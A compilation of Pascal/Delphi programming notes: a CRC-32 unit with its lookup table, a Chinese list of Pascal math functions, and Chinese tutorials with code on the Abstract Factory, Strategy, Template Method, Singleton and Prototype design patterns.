$FCB9887C, $62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65, $4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2, $4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB, $4369E96A, $346ED9FC, $AD678846, $DA60B8D0, $44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9, $5005713C, $270241AA, $BE0B1010, $C90C2086, $5768B525, $206F85B3, $B966D409, $CE61E49F, $5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4, $59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD, $EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A, $EAD54739, $9DD277AF, $04DB2615, $73DC1683, $E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8, $E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1, $F00F9344, $8708A3D2, $1E01F268, $6906C2FE, $F762575D, $806567CB, $196C3671, $6E6B06E7, $FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC, $F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5, $D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252, $D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B, $D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60, $DF60EFC3, $A867DF55, $316E8EEF, $4669BE79, $CB61B38C, $BC66831A, $256FD2A0, $5268E236, $CC0C7795, $BB0B4703, $220216B9, $5505262F, $C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04, $C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D, $9B64C2B0, $EC63F226, $756AA39C, $026D930A, $9C0906A9, $EB0E363F, $72076785, $05005713, $95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38, $92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21, $86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E, $81BE16CD, $F6B9265B, $6FB077E1, $18B74777, $88085AE6, $FF0F6A70, $66063BCA, $11010B5C, $8F659EFF, $F862AE69, $616BFFD3, $166CCF45, $A00AE278, $D70DD2EE, $4E048354, $3903B3C2, $A7672661, $D06016F7, $4969474D, $3E6E77DB, $AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0, $A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9, $BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6, $BAD03605, $CDD70693, $54DE5729, $23D967BF, $B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94, $B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D);
TYPE buffer = Array[1..65521] of byte; {largest buffer that can be allocated on heap }
VAR i: WORD;
q: ^buffer;
PROCEDURE CalcCRC32 (p: pointer; nbyte: Word; Var CRCvalue: LongInt);
{The following is a little cryptic (but executes very quickly). The algorithm is as follows:
1. exclusive-or the input byte with the low-order portion of the CRC register to get an INDEX
2. shift the CRC register eight bits to the right
3. exclusive-or the CRC register with the contents of Table[INDEX]
4. repeat steps 1 through 3 for all bytes}
Var i: Word;
Begin q := p; For i := 1 to nBYTE do CRCvalue := (CRCvalue SHR 8) XOR Table[ q^[i] XOR (CRCvalue AND $000000FF) ]
End {CalcCRC32};
PROCEDURE CalcFileCRC32 (FromName: String; Var CRCvalue: LongInt; Var IOBuffer: pointer; BufferSize: Word; Var TotalBytes: LongInt; Var error: WORD);
Var BytesRead: integer; FromFile : File;
Begin FileMode := 0; {Turbo default is 2 for R/W; 0 is for R/O} CRCValue := $FFFFFFFF; Assign(FromFile,FromName);
{$I-} Reset(FromFile,1); {$I+} Error := IOResult;
If error = 0 Then
begin TotalBytes := 0;
Repeat BlockRead (FromFile,IOBuffer^,BufferSize,BytesRead);
CalcCRC32 (IOBuffer,BytesRead,CRCvalue); Inc(TotalBytes, BytesRead)
Until BytesRead = 0;
Close(FromFile)
End;
CRCvalue := NOT CRCvalue
End {CalcFileCRC32};
//////////////////////////////////////////////////////////////
UNIT CRC32;

{CRC32 calculates a cyclic redundancy code (CRC), known as CRC-32, using
a byte-wise algorithm.

(C) Copyright 1989, 1995-1996 Earl F. Glynn, Overland Park, KS.
All Rights Reserved.

This UNIT was derived from the CRCT FORTRAN 77 program given in
"Byte-wise CRC Calculations" by Aram Perez in IEEE Micro, June 1983,
pp. 40-50. The constants here are for the CRC-32 generator polynomial,
as defined in the Microsoft Systems Journal, March 1995, pp. 107-108

This CRC algorithm emphasizes speed at the expense of the 512 element
lookup table.}

INTERFACE

PROCEDURE CalcCRC32 (p: pointer; nbyte: WORD; VAR CRCvalue: LongInt);
PROCEDURE CalcFileCRC32 (FromName: STRING; VAR CRCvalue: LongInt;
VAR IOBuffer: pointer; BufferSize: WORD; VAR TotalBytes: LongInt;
VAR error: WORD);

IMPLEMENTATION

CONST
table: ARRAY[0..255] OF LongInt =
($00000000, $77073096, $EE0E612C, $990951BA,
$076DC419, $706AF48F, $E963A535, $9E6495A3,
$0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988,
$09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91,
$1DB71064, $6AB020F2, $F3B97148, $84BE41DE,
$1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7,
$136C9856, $646BA8C0, $FD62F97A, $8A65C9EC,
$14015C4F, $63066CD9, $FA0F3D63, $8D080DF5,
$3B6E20C8, $4C69105E, $D56041E4, $A2677172,
$3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B,
$35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940,
$32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,
$26D930AC, $51DE003A, $C8D75180, $BFD06116,
$21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F,
$2802B89E, $5F058808, $C60CD9B2, $B10BE924,
$2F6F7C87, $58684C11, $C1611DAB, $B6662D3D,

$76DC4190, $01DB7106, $98D220BC, $EFD5102A,
$71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433,
$7807C9A2, $0F00F934, $9609A88E, $E10E9818,
$7F6A0DBB, $086D3D2D, $91646C97, $E6635C01,
$6B6B51F4, $1C6C6162, $856530D8, $F262004E,
$6C0695ED, $1B01A57B, $8208F4C1, $F50FC457,
$65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C,
$62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65,
$4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2,
$4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,
$4369E96A, $346ED9FC, $AD678846, $DA60B8D0,
$44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9,
$5005713C, $270241AA, $BE0B1010, $C90C2086,
$5768B525, $206F85B3, $B966D409, $CE61E49F,
$5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4,
$59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD,

$EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,
$EAD54739, $9DD277AF, $04DB2615, $73DC1683,
$E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8,
$E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1,
$F00F9344, $8708A3D2, $1E01F268, $6906C2FE,
$F762575D, $806567CB, $196C3671, $6E6B06E7,
$FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC,
$F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,
$D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252,
$D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B,
$D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60,
$DF60EFC3, $A867DF55, $316E8EEF, $4669BE79,
$CB61B38C, $BC66831A, $256FD2A0, $5268E236,
$CC0C7795, $BB0B4703, $220216B9, $5505262F,
$C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,
$C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D,

$9B64C2B0, $EC63F226, $756AA39C, $026D930A,
$9C0906A9, $EB0E363F, $72076785, $05005713,
$95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38,
$92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21,
$86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E,
$81BE16CD, $F6B9265B, $6FB077E1, $18B74777,
$88085AE6, $FF0F6A70, $66063BCA, $11010B5C,
$8F659EFF, $F862AE69, $616BFFD3, $166CCF45,
$A00AE278, $D70DD2EE, $4E048354, $3903B3C2,
$A7672661, $D06016F7, $4969474D, $3E6E77DB,
$AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0,
$A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9,
$BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,
$BAD03605, $CDD70693, $54DE5729, $23D967BF,
$B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94,
$B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D);

TYPE
buffer = ARRAY[1..65521] OF BYTE; {largest buffer that can be}
{allocated on heap }
VAR
i: WORD;
q: ^buffer;

PROCEDURE CalcCRC32 (p: pointer; nbyte: WORD; VAR CRCvalue: LongInt);
{The following is a little cryptic (but executes very quickly).
The algorithm is as follows:
1. exclusive-or the input byte with the low-order portion of
the CRC register to get an INDEX
2. shift the CRC register eight bits to the right
3. exclusive-or the CRC register with the contents of
Table[INDEX]
4. repeat steps 1 through 3 for all bytes}
BEGIN
q := p;
FOR i := 1 TO nBYTE DO
CRCvalue := (CRCvalue SHR 8) XOR
Table[ q^[i] XOR (CRCvalue AND $000000FF) ]
END {CalcCRC32};

PROCEDURE CalcFileCRC32 (FromName:  STRING; VAR
CRCvalue:
LongInt;
VAR IOBuffer:  pointer;  BufferSize:  WORD; VAR TotalBytes:
LongInt;
VAR error:  WORD);
VAR
BytesRead:
WORD;
FromFile :
FILE;
i        :  WORD;
BEGIN
FileMode := 0;  {Turbo default is 2 for R/W; 0
is for R/O}
CRCValue := $FFFFFFFF;
ASSIGN (FromFile,FromName);
{$I-} RESET (FromFile,1);
{$I+}
error := IOResult;
IF   error = 0
THEN
BEGIN
TotalBytes := 0;

REPEAT
BlockRead (FromFile,IOBuffer^,BufferSize,BytesRead);
CalcCRC32 (IOBuffer,BytesRead,CRCvalue);
INC (TotalBytes, BytesRead)
UNTIL BytesRead = 0;
CLOSE (FromFile)
END;
CRCvalue := NOT CRCvalue
END {CalcFileCRC32};

END {CRC}.


常用数学函数

 abs(x) 绝对值
arctan(x) 反正切
cos(x)
exp(x) e的x次幂
frac(x) 取小数部分
int(x) 取整
ln(x) 自然对数
sin(x)
sqr(x) x*x
sqrt(x) 平方根
其它
pred(x) pred('D')='C', pred(true)=1;
succ(x) succ('Y')='Z', succ(pred(x))=x
ord(x) 求x在字符集中的序号,如ord('A')=65
chr(x) chr(65)='A'
round(x) 四舍五入
trunc(x) trunc(4.8)=4,trunc('-3.6')=-3
upcase(x) upcase('a')='A'
hi(I) hi($2A30)=$2A
lo(I) lo($2A30)=$30
random(n) 产生[0,n)间的随机整数
sizeof(name) 求出某类型或变量在内存中占用的字节数
swap(num) swap($3621)=$2136


Delphi设计模式-Abstract Factory

模式的描述可以参考[1]，下面举一个Delphi中的例子。
通常Delphi中的Form都是自动Create，也可以在Form中写代码来创建（通常是在主Fo
rm中）。下面以Abstract Factory来创建Form。
//unit AbstractF
TAbstractFactory = class
public
function CreateForm : TForm;virtual;abstract;
end;
//unit ConcreteFA
TConcreteFactoryA = class(TAbstractFactory)
public
function CreateForm : TForm; override;
end;
{ TConcreteFactoryB }
function TConcreteFactoryA.CreateForm: TForm;
begin
Result := TfrmFormA.Create(Application);
Result.ShowModal;
end;
//unit ConcreteFB
TConcreteFactoryB = class(TAbstractFactory)
public
function CreateForm : TForm; override;
end;
{ TConcreteFactoryB }
function TConcreteFactoryB.CreateForm: TForm;
begin
Result := TfrmFormB.Create(Application);
Result.ShowModal;
end;
//主Form
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, AbstractF;
type
TfrmMain = class(TForm)
btnConcreteA: TButton;
btnContreteB: TButton;
procedure btnConcreteAClick(Sender: TObject);
procedure btnContreteBClick(Sender: TObject);
private
{ Private declarations }
FAbstractFactory: TAbstractFactory;
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
implementation
uses ConcreteFA, ConcreteFB;
{$R *.dfm}
procedure TfrmMain.btnConcreteAClick(Sender: TObject);
begin
FAbstractFactory:= TConcreteFactoryA.Create;
FAbstractFactory.CreateForm;
FAbstractFactory.Free;
end;
procedure TfrmMain.btnContreteBClick(Sender: TObject);
begin
FAbstractFactory:= TConcreteFactoryB.Create;
FAbstractFactory.CreateForm;
FAbstractFactory.Free;
end;
end.
[参考资料]
1.《设计模式-可复用面向对象软件的基础》


设计模式、用Delphi实现---->Strategy模式

 Strategy模式
起源
Delphi的STRATEGY模式是在STRATEGY的基础上进行了扩展。更多STRATEGY模式的资料请
参阅 《设计模式208页》
目的
定义一系列的算法，把它们一个个封装起来，并且使它们可相互替换。本模式使得算法
可独立于使用它的客户面变化。
动机
· 由于需要可以动态的变换不同的策略。
· 更好的封装多个行为与算法结构，而不让客户程序直接干扰
· 通过相关的条件语句选择正确的行为方法。
Template方法使用继承来变换部分算法。Strategies则使用代理和组合来变换所有的算
法并支持动态变换。以后，将使用context对象在运行期动态的分配具体的算法。同样，
通过使用context对象，客户类将从依赖的算法接口中分离出来，通过context对象可以
提供更多的泛化接口。同样意义的是，通过context与strategy接口可以在将来设计并提
供全系统的相关算法来实现具体的应用而无需改变接口。
Strategies同样让你您创建单一的、间单的、易维护的类框架。类框架依赖于继承。
应用
Implementation
下例中的对信用卡进行月利率进行计算。Strategy模式通过充一的抽象类TfinanzeChar
ge封装、访问接口并担供不同的算法来进行月利率计算。TregularCharge、Tpreferred
Charge为信用卡的月利率计算封装了不同的具体算法
TmonthlyCharge实现了TcontextCharge接口并配置了不同的策略对象。TconntextCharg
e成为客户对象与策略对象的中场发动机，这样有助于感轻客户对象与策略/对象的依赖
性。
// 策略接口 (抽象类)
TFinanzeCharge = class
public
// 返回计算的结果
function getCharge(const Balance: double): double; virtual; abstract;
end;
// 具体策略
TRegularCharge = class(TFinanzeCharge)
public
function getCharge(const Balance: double): double; override;
end;
//具体策略
TPreferredCharge = class(TFinanzeCharge)
public
function getCharge(const Balance: double): double; override;
end;
客户程序依赖上下文接口来调度指定的策略。无论如何，因为上下文接口是为客户程序
而产生的，客户程序必需知道可用的策略/对象。如果上下文无法返回一个有效的实例，
可选择选择默认策略的方法实现。
// 上下文接口
TChargeContext = class
public
function ComputeCharges(const Balance: double): double; virtual; abstrac
t;
end;
//具体上下文
类TmonthlyCharges作为客户对象与策略对象的中场发动机，并通过在它的构造器传递一
个具体的利率计算实例进行设置。
This class acts as a mediator between the client and the strategy classes, a
nd is configured by using composition and passing an instance of a concrete
finance charge in its constructor.
TMonthlyCharges = class(TChargeContext)
private
FFinanzeCharge: TFinanzeCharge;
public
// 客户程序访问的接口
function ComputeCharges(const Balance: double): double; override;
// constructor configures the context object
constructor Create(aFinanzeCharge: TFinanzeCharge); virtual;
destructor Destroy; override;
end;
---
implementation
// TRegularCharge
function TRegularCharge.getCharge(const Balance: double): double;
begin
result := Balance * (REG_RATE / 12);
end;
// TPreferredCharge
function TPreferredCharge.getCharge(const Balance: double): double;
begin
// this could be a complex algorithm that takes into account the
// credit card holder’s buying patterns and reward points accumulated.
result := Balance * (PREFERRED_RATE / 12);
end;
// Concrete Context
// TMonthlyCharges
constructor TMonthlyCharges.Create(aFinanzeCharge: TFinanzeCharge);
begin
inherited Create;
// aFinanzeCharge configures the context object
// this class takes ownership of aFinanzeCharge (will destroy it)
FFinanzeCharge := aFinanzeCharge;
end;
destructor TMonthlyCharges.Destroy;
begin
FFinanzeCharge.Free;
inherited Destroy;
end;
function TMonthlyCharges.ComputeCharges(const Balance: double): double;
begin
result := FFinanzeCharge.getCharge(Balance);
end;
Delphi实例


 Template Method模式
起源
Delphi的Template Method模式以Object Pascal的虚函数为基础的结构型模式。
目的
定义一组算法操作的框架，定义一些不改变算法结构的子类。
动机
· 更好地封装策略方针并分发到不同的代理。
· 更好地实现复杂算法的代码重用，基类封装不可变的部分，并让子类实现可
重载的部分行为方法。
· 更好地通过子类的可扩展部分提供钩子式的操作，但template method模式
只允许通过基类来调用。
UML图示：
应用
先让我们看看几个使用了template method模式VCL组件。在下例中，VCL组件中的抽象类
Tstream（定义于classes.pas）实现了流拷贝方法CopyFrom()，template 方法CopyFro
m（）包含了流拷贝的必需的算法。TStream 将Read()和Write()方法声名为抽象方法，
并将实现延期到其具体的子类。CopyFrom()通过ReadBuffer()、WriteBuffer() 访问Re
ad()、Write()，
ReadBuffer()、WriteBuffer()为模板方法。以后它们将提供静态并简单Read()和Write
()虚方法接口。Read() 和 Write()为指定的扩展点并在派生类中执行
更的详细实现代码请参阅VCL的classes.pas单元的，抽象类Tstream和具体的流类：TCu
stomMemoryStream/TmemoryStream及TstringStream。通常template方法在基类中被定义
为静态，并且派生的操作定义为虚方法，以后你只需要在子类中重载扩展点。对了，接
口不支持template方法。
{抽象类 TStream}
TStream = class(TObject)
private
…
protected
procedure SetSize(NewSize: Longint); virtual;
public
//源类支持的原始的方法
function Read(var Buffer; Count: Longint): Longint; virtual; abstract;
function Write(const Buffer; Count: Longint): Longint; virtual; abstract
;
function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract
;
// template方法
procedure ReadBuffer(var Buffer; Count: Longint);
procedure WriteBuffer(const Buffer; Count: Longint);
// 封装了由模板方法实现的流拷算法
function CopyFrom(Source: TStream; Count: Longint): Longint;
…
end;
//具体类
TStringStream = class(TStream)
…
public
constructor Create(const AString: string);
// 具体类实现了可重载的方法
function Read(var Buffer; Count: Longint): Longint; override;
…
function Write(const Buffer; Count: Longint): Longint; override;
…
end;
---------
{ TStream } // 抽象类
…
// template方法
procedure TStream.ReadBuffer(var Buffer; Count: Longint);
begin
if (Count <> 0) and (Read(Buffer, Count) <> Count) then
raise EReadError.Create(SReadError);
end;
procedure TStream.WriteBuffer(const Buffer; Count: Longint);
begin
if (Count <> 0) and (Write(Buffer, Count) <> Count) then
raise EWriteError.Create(SWriteError);
end;
function TStream.CopyFrom(Source: TStream; Count: Longint): Longint;
const
MaxBufSize = $F000;
var
BufSize, N: Integer;
Buffer: PChar;
begin
if Count = 0 then
begin
Source.Position := 0;
Count := Source.Size;
end;
Result := Count;
if Count > MaxBufSize then BufSize := MaxBufSize else BufSize := Count;
GetMem(Buffer, BufSize);
try
while Count <> 0 do
begin
if Count > BufSize then N := BufSize else N := Count;
Source.ReadBuffer(Buffer^, N);
WriteBuffer(Buffer^, N);
Dec(Count, N);
end;
finally
FreeMem(Buffer, BufSize);
end;
end;
---------
{ TStringStream } // 具体类
…
// 具体类实现了源始的操作
function TStringStream.Read(var Buffer; Count: Longint): Longint;
begin
Result := Length(FDataString) - FPosition;
if Result > Count then Result := Count;
Move(PChar(@FDataString[FPosition + 1])^, Buffer, Result);
Inc(FPosition, Result);
end;
function TStringStream.Write(const Buffer; Count: Longint): Longint;
begin
Result := Count;
SetLength(FDataString, (FPosition + Result));
Move(Buffer, PChar(@FDataString[FPosition + 1])^, Result);
Inc(FPosition, Result);
end;


singleton模式

 singleton 模式是最有用的模式之一。大家知道我们都在使用它。类就是一个例子，Tapplication是另一个。这里我尝试解释什么是singleton，并举出实现singleton的一个有用的例子。

概述：
Singleton设计模式是Object-Class关系的一个变形。此变形是指类只是为所有的应用程序创建一个对象，并且任何时候在收到本类对象的请求时都将返回此对象。注意Tcomponent不算是singleton，因为它的对象的生存期由一个所有者管理，而且Tcomponent只能有一个所有者。两个所有者不能共有一个对象，所以Tcomponent不是singleton。
实现singleton：
1. 增加一个GetInstance函数，用来返回singleton的实例。
2. 改变Create函数以返回singleton实例。

我使用第二种方法。
为了使对象成为singleton，需要重载Tobject类的部分函数。

class Function NewInstance: TObject;
此函数为的对象分配内存。每次客户调用构造函数时都要调用它。
本函数只是在对象第一次建立时分配内存，并用以下的调用归还内存。

本函数释放分配给对象的内存。每次调用析构函数时都要调用它。
通常singleton对象在单元结束时会销毁，所以重载本函数令其清空。
例子：
本例是我在某应用程序中使用的两个类，它们是：
Tsingleton - 实现singleton模式派生类singleton的类。
TinterfacedSingleton - 与Tsingleton相同，唯独能实现Iunknown接口（如果另外有对它们的引用，本类的对象就会在结束时或之后释放）。
注意：singleton的思路不需要从Tsingleton基类继承。代码只是一个例子，实现部分并不是一种模式，模式就是思路本身。

代码：

unit uSingleton;

interface

Uses
SysUtils;

Type
TSingleton = class(TObject)
Private
Procedure Dispose;
protected
Procedure Init; Virtual;
Procedure BeforeDestroy; Virtual;
Public
class Function NewInstance: TObject; Override;
Procedure FreeInstance; Override;
End;

TInterfacedSingleton = class(TInterfacedObject, IUnknown)
Private
Procedure Dispose;
protected
Procedure Init; Virtual;
Public
class Function NewInstance: TObject; Override;
Procedure FreeInstance; Override;
Function _AddRef: Integer; stdcall;
Function _Release: Integer; stdcall;
End;

implementation

Var
SingletonHash: TStringList;

{ General}

Procedure ClearSingletons;
Var
I: Integer;
Begin
// 为所有的singleton对象调用BeforeDestroy。
For I := 0 to SingletonHash.Count - 1 do
Begin
If SingletonHash.Objects[I] Is TSingleton then
Begin
TSingleton(SingletonHash.Objects[I]).BeforeDestroy;
End
End;

// 释放所有的singleton和InterfacedSingleton对象。
For I := 0 to SingletonHash.Count - 1 do
Begin
If SingletonHash.Objects[I] Is TSingleton then
Begin
TSingleton(SingletonHash.Objects[I]).Dispose;
End
Else

TInterfacedSingleton(SingletonHash.Objects[I])._Release;
End;
End;

{ TSingleton }

Procedure TSingleton.BeforeDestroy;
Begin

End;

Procedure TSingleton.Dispose;
Begin
Inherited FreeInstance;
End;

Procedure TSingleton.FreeInstance;
Begin
//
End;

Procedure TSingleton.Init;
Begin

End;

class function TSingleton.NewInstance: TObject;
Var
Singleton: TSingleton;
Begin
If SingletonHash = Nil then
SingletonHash := TStringList.Create;
If SingletonHash.IndexOf(Self.ClassName) = -1 then
Begin
Singleton := TSingleton(Inherited NewInstance);
Try
Singleton.Init;
SingletonHash.AddObject(Self.ClassName, singleton);
Except
Singleton.Dispose;
Raise;
End;
End;
Result := SingletonHash.Objects[SingletonHash.IndexOf(Self.ClassName)] as TSingleton;
End;

{ TInterfacedSingleton }

procedure TInterfacedSingleton.Dispose;
Begin
Inherited FreeInstance;
End;

procedure TInterfacedSingleton.FreeInstance;
Begin
//
End;

procedure TInterfacedSingleton.Init;
Begin

End;

class function TInterfacedSingleton.NewInstance: TObject;
Var
Singleton: TInterfacedSingleton;
Begin
If SingletonHash = Nil then
SingletonHash := TStringList.Create;
If SingletonHash.IndexOf(Self.ClassName) = -1 then
Begin
Singleton := TInterfacedSingleton(Inherited NewInstance);
Try
Singleton.Init;
SingletonHash.AddObject(Self.ClassName, singleton);
Singleton._AddRef;
Except
Singleton.Dispose;
Raise;
End;
End;
Result := SingletonHash.Objects[SingletonHash.IndexOf(Self.ClassName)] as TInterfacedSingleton;
End;

function TInterfacedSingleton._AddRef: Integer;
Begin
Result := Inherited _AddRef;
End;

function TInterfacedSingleton._Release: Integer;
Begin
Result := Inherited _Release;
End;

Initialization
SingletonHash := Nil;

Finalization
If SingletonHash <> Nil then
ClearSingletons;
SingletonHash.Free;

End.

投稿人：CoDelphi.com　投稿日期：2001-5-22 9:30:00
Singleton模式
起源
Delphi的Decorator模式是在Decorator的基础上进行了扩展。更多Decorator模式的资料
请参阅 《设计模式84页》
目的
保证一个类仅有一个实例，并提供一个访问它的全局访问点，一个相对简单的应用型设
计模式
动机
此模式最重要的是保证大量类正确的访问单个实例。尽管一台个系统可能有多台打印机
，但系统只允许有且只有一个打印缓存。同样比如：一个系统只有一个文件系统、一个
窗体管理系统。对于Delphi的VCL来说：大家天天接触的Tapplication，Tscreen，Tcli
pboard都是。此模式更好的是使你可以在任何时候为你的应用程序提供一个全局对象。
其它的用途：可以、提供一些全局的异常句柄，安全控制，为跨进程提供单一的访问点
。
怎样保持一个类只有一个实例并且建立好的访问性能？一个全局变量保证了实例的可访
问性，但还没有保证多个实例的同时存大的可能。
一个好的解决方案：建立类自身来负责保持自身一个实例的机制。类的第一个实例能保
存不会再有类的实例被创建（在创建类的新实例时请求被中段）。并提供一个访问类的
方法。这就是我们的singleton模式，典型的应用是服务型的的类。
应用
假设有一个用于显示时间进度低级服务类Tprogressor。类包括两个典型的方法：Start
Progress, EndProgress, Abort 和一引起典型的属性如：Progress, Aborted其它。
下面代码是Tprogressor类的接口部份
type
TProgressor = class (TObject)
private
FProgress: Integer;
protected
procedure SetProgress(Value: Integer);
public
? procedure StartProgress;
? property Progress: Integer read FProgress write SetProgress;
end;
下面的代码是应用了singleton模式后的类的的接口部份。
type
TProgressor = class (TObject)
private
FProgress: Integer;
protected
constructor CreateInstance;
class function AccessInstance(Request: Integer): TProgressor;
procedure SetProgress(Value: Integer);
public
constructor Create;
destructor Destroy; override;
class function Instance: TProgressor;
class procedure ReleaseInstance;
? procedure StartProgress;
? property Progress: Integer read FProgress write SetProgress;
end;
类接口部份的介绍：
· 方法class function Instance用于访问类的单件的实例。此方法一般在第一时
间访问，类的实例被创建。
· 类构造器被重载，如果你尝试着不通过instance方法来构建一个新的实例将会
抛出一个异常。
· 可通过调用ReleaseInstance来清除单件类存在的实例。一般在你要清除部件时
调节器用些方法。在Delphi 1 exit过程中调用，在Delphi 2/3/4/5/6中在单元finaliz
ation中调用。不要访问TProgressor.Instance.Free来清除实例，
现在让我们来看看singleton模式实现。
constructor TProgressor.Create;
begin
inherited Create;
raise Exception.CreateFmt('Access class %s through Instance only',
[ClassName]);
end;
constructor TProgressor.CreateInstance;
begin
inherited Create;
end;
destructor TProgressor.Destroy;
begin
if AccessInstance(0) = Self then AccessInstance(2);
inherited Destroy;
end;
class function TProgressor.AccessInstance(Request: Integer): TProgressor;
const FInstance: TProgressor = nil;
begin
case Request of
0 : ;
1 : if not Assigned(FInstance) then FInstance := CreateInstance;
2 : FInstance := nil;
else
raise Exception.CreateFmt('Illegal request %d in AccessInstance',
[Request]);
end;
Result := FInstance;
end;
class function TProgressor.Instance: TProgressor;
begin
Result := AccessInstance(1);
end;
class procedure TProgressor.ReleaseInstance;
begin
AccessInstance(0).Free;
end;
procedure TProgressor.SetProgress(Value: Integer);
begin
?加入实现代码
end;
procedure TProgressor.StartProgress;
begin
?加入实现代码
end;
此模式的密秘在AccessInstance方法，AccessInstance方法使用了常量来存放实例。
由于Delphi不支持静态类字段的原因，你必需使用此方法。AccessInstance根据请求的
参数来确认不同的返回方式，返回当前实例（Request = 0），创建一个实例(Request
= 1)，重置实例。Delphi 2/3/4/5/6中，你必须将编译器设置$J+来支持形式常量（参见
Delphi在线帮助）
将CreateInstance设成保护方法（protected），我们确保了其它类不能调用类的构造器
。但由于构造函数本身为虚函数的原因，它可以被后代重载。例中，当第一次调用类实
例时将确认类的具体类型。
唯一需要你手动添加的代码是：在单元的initialization或finalization加入清除代码
。
下面是应用实例（Delphi1.0）
unit ProgressorTest;
...
...
implementation
...
...
procedure ShutDown; far;
begin
? TProgressor.ReleaseInstance;
end;
initialization
MMWIN:START INITIALIZATION
? AddExitProc(ShutDown);
end.
具体操作Tprogressor的代码:
procedure TSomeClass.DoSomething;
var I: Integer;
begin
? TProgressor.Instance.StartProgress;
? for I := 0 to 100 do
? begin
? TProgressor.Instance.Progress := I;
? ..{ 完成其它的工作}
? end;
? TProgressor.Instance.EndProgress;
end;
Delphi实例
正在组织


Prototype样式──

使用 Delphi

高焕堂

前言

上期介绍过软件样式(Pattern) 的基本观念﹐并从Erich Gamma 等人所着之书──"Design Patterns: Elements of Reusable Object-Oriented Software"中取出三个样式﹐并加以说明其用途。本文将再引用该书中的另一个样式──Prototype ﹐且用较浅显的例子阐释之。顾名思义﹐「样式」就是大家可「有样学样﹐依样画葫芦」﹐并一而再、再而三地在不同场合﹐重复使用(reuse) 它来解决常见之问题。

样式必须常常使用﹐且愈纯熟愈好﹐才能随外界环境(context) 而加以变化﹐才能确实解决问题(problem) 。像孙子兵法、太极拳法皆含有许多样式（或称为招式）﹐必须心领神会﹐并实际练习之﹐才能达到炉火纯青之地步。其主要原因是﹕单一样式（招式）常只解决个小问题﹐而大问题可能需要多种样式混合使用才行。如何将小样式组合成为大样式来解决大问题呢﹖这常需一套完整的法则(rule)﹐通称为「样式语言」(pattern language)。

本文着重于个别样式之介绍﹐至于样式语言则请您参阅下述两本重要书籍﹕

1. Pattern Language of Program Design, by Coplien & Schmidt。出版商﹕Addison Wesley﹐台湾进口商﹕巨摰﹐1995年出版。

2. A Pattern Language, by C.Alexander。 出版商﹕Oxford University Press, 1977年出版。

以下就请您仔细看如何使用Prototype 样式了。

对象之原型

(object prototype)

人们日常生活中﹐常见下述说法﹕

「我要养一只像加菲猫一样的猫」

「我将来要娶个美如西施的妻子」

…

其中﹐加菲猫和西施皆是prototype （或译为范例）。当您说上述两句话时﹐听者立即能经由prototype 对象（即加菲猫或西施）来了解您心中所欲描述之新对象。在软件方面﹐使用者可藉prototype 来告诉计算机﹕

「我要的对象就像这个prototype 对象」

于是﹐计算机依该prototype 对象来造出一模一样的新对象给使用者。

回想﹐我们所熟悉的C++ 、Pascal或Smalltalk 语言中﹐皆是借着「类别」来描述对象之特性﹐然后计算机则依类别之描述来造出新对象。这种就通称为class-based programming ﹔而前者称为prototype-based programming 。

